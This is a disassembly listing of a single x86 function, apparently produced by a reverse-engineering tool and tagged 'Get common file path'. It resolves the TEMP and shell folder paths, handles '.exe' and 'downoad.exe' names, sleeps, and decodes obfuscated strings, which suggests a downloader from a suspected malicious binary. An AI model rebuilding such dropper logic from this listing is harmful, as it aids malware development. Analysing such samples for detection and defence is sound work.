Function at 0x46f7b2
Capabilities:
Get common file path

Disassembly:
push 0x434
mov eax, 0x492ede
call fcn.0047ae8f
mov edi, edx
mov ebx, ecx
push 0x4a4d10
lea esi, [edi + 0x120]
mov dword [ebp - 0x388], ebx
mov dword [ebp - 0x380], edi
call fcn.00401c1b
pop ecx
test al, al
je 0x46f7f4
cmp byte [ebx + 5], 1
je 0x470027
mov byte [ebx + 5], 1
mov eax, dword [edi + 0xa4]
test eax, eax
je 0x470027
push str.TEMP
call fcn.004783f4
pop ecx
push eax
lea ecx, [ebp - 0x274]
call fcn.0040d846
and dword [ebp - 4], 0
mov eax, dword [ebp - 0x264]
lea esi, [ebp - 0x2e4]
call fcn.0040ebfe
mov byte [ebp - 4], 1
cmp dword [ebp - 0x2d0], 8
mov ecx, dword [ebp - 0x2e4]
jae 0x46f843
mov ecx, esi
cmp dword [ebp - 0x260], 0x10
mov eax, dword [ebp - 0x274]
jae 0x46f858
lea eax, [ebp - 0x274]
mov edx, dword [ebp - 0x264]
add edx, eax
cmp dword [ebp - 0x260], 0x10
mov eax, dword [ebp - 0x274]
jae 0x46f882
lea eax, [ebp - 0x274]
jmp 0x46f882
movsx si, byte [eax]
mov word [ecx], si
add ecx, 2
inc eax
cmp eax, edx
jne 0x46f877
lea eax, [ebp - 0x440]
push eax
call fcn.004127fa
mov byte [ebp - 4], 2
push dword [edi + 0x1c]
lea eax, [ebp - 0x430]
push eax
call fcn.00411ffd
mov ebx, 0x49e094
lea eax, [ebp - 0x354]
push ebx
push eax
lea edi, [ebp - 0x2e4]
call fcn.004069ac
mov ecx, dword [ebp - 0x388]
add ecx, 0x9c
push ecx
lea ecx, [ebp - 0x370]
push ecx
mov ecx, eax
mov byte [ebp - 4], 3
call fcn.004102d8
push ebx
push eax
lea eax, [ebp - 0x290]
mov byte [ebp - 4], 4
call fcn.004102a7
add esp, 0x18
push 1
xor edi, edi
lea esi, [ebp - 0x370]
call fcn.0040162a
push 1
lea esi, [ebp - 0x354]
mov byte [ebp - 4], 7
call fcn.0040162a
mov edi, dword [ebp - 0x380]
push 0x49c154
lea esi, [edi + 0x1ac]
call fcn.00401c1b
test al, al
setne byte [ebp - 0x37c]
cmp byte [ebp - 0x37c], 1
pop ecx
jne 0x46fa89
push str..exe
call fcn.0047519c
pop ecx
push eax
lea esi, [edi + 0x94]
push str..exe
xor eax, eax
mov ecx, esi
mov dword [ebp - 0x38c], esi
call fcn.004062f4
cmp eax, 0xffffffff
je 0x46f9f9
sub esp, 0x1c
mov eax, esp
mov dword [ebp - 0x374], esp
push 0x49cb74
call fcn.00401556
mov edx, esi
lea ecx, [ebp - 0x2a0]
call fcn.0041a532
add esp, 0x1c
mov byte [ebp - 4], 8
mov ecx, dword [ebp - 0x2a0]
mov eax, dword [ebp - 0x29c]
sub eax, ecx
cdq
push 0x1c
pop esi
idiv esi
imul eax, eax, 0x1c
lea ebx, [eax + ecx - 0x1c]
lea eax, [ebp - 0x290]
push eax
lea eax, [ebp - 0x258]
push eax
call fcn.004722da
pop ecx
pop ecx
mov ebx, eax
lea eax, [ebp - 0x290]
mov byte [ebp - 4], 9
call fcn.004062ac
push 1
xor edi, edi
lea esi, [ebp - 0x258]
call fcn.0040162a
lea esi, [ebp - 0x2a0]
mov byte [ebp - 4], 7
call fcn.00406513
jmp 0x46fc1e
cmp dword [esi + 0x14], 8
mov edi, dword [edi + 0xa4]
jb 0x46fa07
mov esi, dword [esi]
cmp word [esi + edi*2 - 8], 0x2e
je 0x46fa89
push str.QG5zZWxrXGAnY3Jh
lea eax, [ebp - 0x23c]
call fcn.00401556
lea eax, [ebp - 0x2ac]
push eax
lea ecx, [ebp - 0x23c]
mov byte [ebp - 4], 0xa
call fcn.0041fe3a
pop ecx
lea ecx, [ebp - 0x290]
push ecx
lea ecx, [ebp - 0x258]
push ecx
mov ecx, eax
mov byte [ebp - 4], 0xb
call fcn.0041f210
pop ecx
pop ecx
mov ebx, eax
lea eax, [ebp - 0x290]
mov byte [ebp - 4], 0xc
call fcn.004062ac
push 1
xor edi, edi
lea esi, [ebp - 0x258]
call fcn.0040162a
push 1
lea esi, [ebp - 0x2ac]
call fcn.0040162a
lea esi, [ebp - 0x23c]
jmp 0x46fc11
lea eax, [ebp - 0x220]
push eax
xor eax, eax
push eax
push eax
push eax
push eax
call dword [sym.imp.SHELL32.dll_SHGetFolderPathW]
lea eax, [ebp - 0x220]
push eax
lea eax, [ebp - 0x2c8]
call fcn.00401556
push str.QG5zZWxrXGAnY3Jh
lea eax, [ebp - 0x258]
mov byte [ebp - 4], 0xd
call fcn.00401556
lea eax, [ebp - 0x23c]
push eax
lea ecx, [ebp - 0x258]
mov byte [ebp - 4], 0xe
call fcn.0041fe3a
pop ecx
push 1
xor edi, edi
lea esi, [ebp - 0x258]
mov byte [ebp - 4], 0x10
call fcn.0040162a
mov esi, 0x49cb74
push esi
call fcn.0047519c
mov edi, dword [ebp - 0x380]
pop ecx
push eax
add edi, 0x94
push esi
xor eax, eax
mov ecx, edi
mov dword [ebp - 0x38c], edi
call fcn.004062f4
cmp eax, 0xffffffff
je 0x46fbbc
sub esp, 0x1c
mov eax, esp
mov dword [ebp - 0x374], esp
push esi
call fcn.00401556
mov edx, edi
lea ecx, [ebp - 0x2a0]
call fcn.0041a532
add esp, 0x1c
mov byte [ebp - 4], 0x11
mov eax, dword [ebp - 0x29c]
mov ecx, dword [ebp - 0x2a0]
sub eax, ecx
push 0x1c
cdq
pop esi
idiv esi
test eax, eax
je 0x46fb71
imul eax, eax, 0x1c
push 0xffffffffffffffff
lea eax, [eax + ecx - 0x1c]
push 0
lea ecx, [ebp - 0x23c]
call fcn.00401590
cmp dword [ebp - 0x228], 8
mov eax, dword [ebp - 0x23c]
jae 0x46fb86
lea eax, [ebp - 0x23c]
mov ecx, dword [ebp - 0x22c]
cmp word [eax + ecx*2 - 8], 0x2e
je 0x46fbad
mov esi, str.downoad.exe
push esi
call fcn.0047519c
pop ecx
mov ecx, esi
lea esi, [ebp - 0x23c]
call fcn.00401827
lea esi, [ebp - 0x2a0]
mov byte [ebp - 4], 0x10
call fcn.00406513
lea eax, [ebp - 0x220]
push eax
call fcn.0047519c
pop ecx
lea ecx, [ebp - 0x220]
lea esi, [ebp - 0x290]
call fcn.00401827
push ebx
call fcn.0047519c
pop ecx
mov edi, eax
push ebx
mov eax, esi
call fcn.00406553
push 0
lea eax, [ebp - 0x23c]
push eax
or eax, 0xffffffff
call fcn.00406680
push 1
xor edi, edi
lea esi, [ebp - 0x23c]
call fcn.0040162a
lea esi, [ebp - 0x2c8]
push 1
xor edi, edi
mov byte [ebp - 4], 7
call fcn.0040162a
mov ecx, dword [ebp - 0x380]
push 0xffffffffffffffff
add ecx, 0x5c
push 0
lea eax, [ebp - 0x290]
mov dword [ebp - 0x394], ecx
call fcn.00401590
fld dword [0x4a51a0]
fst dword [ebp - 0x390]
mov byte [ebp - 4], 0x12
fstp dword [ebp - 0x384]
call fcn.004799ad
mov dword [ebp - 0x374], eax
mov eax, dword [ebp - 0x38c]
cmp dword [eax + 0x14], 8
jb 0x46fc6b
mov eax, dword [eax]
push eax
lea eax, [ebp - 0x258]
call fcn.00401556
lea eax, [ebp - 0x258]
push eax
lea eax, [ebp - 0x1d8]
push eax
mov byte [ebp - 4], 0x13
call fcn.004692ce
push 1
xor edi, edi
lea esi, [ebp - 0x258]
mov byte [ebp - 4], 0x15
call fcn.0040162a
push str.UVJBSV89QkFHUg
lea eax, [ebp - 0x23c]
call fcn.00401556
mov byte [ebp - 4], 0x16
call fcn.00404533
mov ecx, eax
lea eax, [ebp - 0x23c]
push eax
lea eax, [ebp - 0x2c8]
call fcn.00404573
push 0xffffffffffffffff
push edi
lea ecx, [ebp - 0x9c]
mov byte [ebp - 4], 0x17
call fcn.00401590
push 1
lea esi, [ebp - 0x2c8]
call fcn.0040162a
push 1
lea esi, [ebp - 0x23c]
mov byte [ebp - 4], 0x15
call fcn.0040162a
push 0x49e26c
lea eax, [ebp - 0x23c]
call fcn.00401556
lea ecx, [ebp - 0x23c]
lea ebx, [ebp - 0x1d8]
mov byte [ebp - 4], 0x18
call fcn.004694fc
push 1
lea esi, [ebp - 0x23c]
call fcn.0040162a
mov eax, dword [ebp - 0x394]
mov esi, ebx
call fcn.0046a3ad
call fcn.004799ad
sub eax, dword [ebp - 0x374]
mov dword [ebp - 0x374], eax
fild dword [ebp - 0x374]
fstp dword [ebp - 0x390]
call fcn.0046941f
mov dword [ebp - 4], 7
mov ebx, dword [ebp - 0x380]
lea eax, [ebx + 0x40]
push eax
lea esi, [ebp - 0x338]
call fcn.00405b15
push str.RU1PS0FIR1s9QzxRRg
lea eax, [ebp - 0x258]
mov byte [ebp - 4], 0x1a
call fcn.00401556
lea eax, [ebp - 0x258]
push eax
mov byte [ebp - 4], 0x1b
call fcn.00404533
mov ecx, eax
lea eax, [ebp - 0x300]
call fcn.00404573
push 1
xor edi, edi
lea esi, [ebp - 0x258]
mov byte [ebp - 4], 0x1d
call fcn.0040162a
push 0x49f200
lea esi, [ebp - 0x300]
call fcn.00401c1b
pop ecx
test al, al
jne 0x46fe3b
mov esi, str..exe
push esi
call fcn.0047519c
pop ecx
push eax
push esi
xor eax, eax
lea ecx, [ebx + 0x5c]
call fcn.004062f4
cmp eax, 0xffffffff
je 0x46fe31
call fcn.004799ad
push edi
push dword [ebp - 0x37c]
lea edx, [ebp - 0x338]
lea ecx, [ebx + 0x5c]
mov esi, eax
call fcn.00414ca7
pop ecx
pop ecx
call fcn.004799ad
sub eax, esi
mov dword [ebp - 0x374], eax
fild dword [ebp - 0x374]
jmp 0x46fe33
fldz
fstp dword [ebp - 0x384]
jmp 0x46fe46
push 0x2710
call dword [sym.imp.KERNEL32.dll_Sleep]
push str.a2ViXHJlXzkp
lea eax, [ebp - 0x23c]
call fcn.00401556
lea eax, [ebp - 0x2c8]
push eax
lea ecx, [ebp - 0x23c]
mov byte [ebp - 4], 0x1e
call fcn.0041fe3a
cmp dword [eax + 0x14], 8
mov edx, dword [eax + 0x10]
pop ecx
jb 0x46fe78
mov eax, dword [eax]
push edx
push eax
lea ecx, [ebx + 0x24]
xor eax, eax
call fcn.004062f4
cmp eax, 0xffffffff
setne byte [ebp - 0x375]
push 1
xor edi, edi
lea esi, [ebp - 0x2c8]
call fcn.0040162a
push 1
lea esi, [ebp - 0x23c]
mov byte [ebp - 4], 0x1d
call fcn.0040162a
cmp byte [ebp - 0x375], 0
je 0x46febf
xor ebx, ebx
inc ebx
jmp 0x46ffd9
and dword [ebp - 0x37c], edi
lea esi, [ebx + 0x20]
push 0
push esi
call fcn.00419564
pop ecx
pop ecx
test al, al
jne 0x46fee3
push 3
pop eax
mov dword [ebp - 0x37c], eax
mov dword [esi], eax
jmp 0x46feef
mov eax, dword [ebp - 0x388]
inc dword [eax + 0x3c0]
push str.a2ViXHJlXw
lea eax, [ebp - 0x23c]
call fcn.00401556
lea eax, [ebp - 0x2c8]
push eax
lea ecx, [ebp - 0x23c]
mov byte [ebp - 4], 0x1f
call fcn.0041fe3a
pop ecx
lea ecx, [ebx + 0x24]
push ecx
mov edx, eax
lea ecx, [ebp - 0x31c]
mov byte [ebp - 4], 0x20
call fcn.0041abc7
pop ecx
push 1
xor edi, edi
lea esi, [ebp - 0x2c8]
call fcn.0040162a
push 1
lea esi, [ebp - 0x23c]
mov byte [ebp - 4], 0x23
call fcn.0040162a
lea esi, [ebx + 0x254]
push 0x49cb24
call fcn.00401c1b
pop ecx
test al, al
jne 0x46ff72
push 0xffffffffffffffff
push 0
mov eax, esi
lea ecx, [ebp - 0x31c]
call fcn.00401590
fld dword [ebp - 0x384]
xor eax, eax
push eax
push eax
push eax
call fcn.0048e340
fld dword [ebp - 0x390]
push eax
call fcn.0048e340
push eax
lea eax, [ebx + 0x190]
push eax
push dword [ebx + 0x1c]
lea eax, [ebp - 0x31c]
push eax
push dword [ebp - 0x37c]
add ebx, 0x104
lea eax, [ebp - 0x354]
push ebx
push eax
call fcn.0041592c
xor ebx, ebx
add esp, 0x2c
inc ebx
push ebx
xor edi, edi
lea esi, [ebp - 0x354]
call fcn.0040162a
push ebx
lea esi, [ebp - 0x31c]
call fcn.0040162a
push ebx
xor edi, edi
lea esi, [ebp - 0x300]
call fcn.0040162a
push ebx
lea esi, [ebp - 0x338]
call fcn.0040162a
push ebx
lea esi, [ebp - 0x290]
call fcn.0040162a
lea eax, [ebp - 0x440]
mov byte [ebp - 4], 1
call fcn.00411fe2
push ebx
lea esi, [ebp - 0x2e4]
call fcn.0040162a
push edi
push ebx
lea ecx, [ebp - 0x274]
call fcn.00406268
call fcn.0047aeeb
ret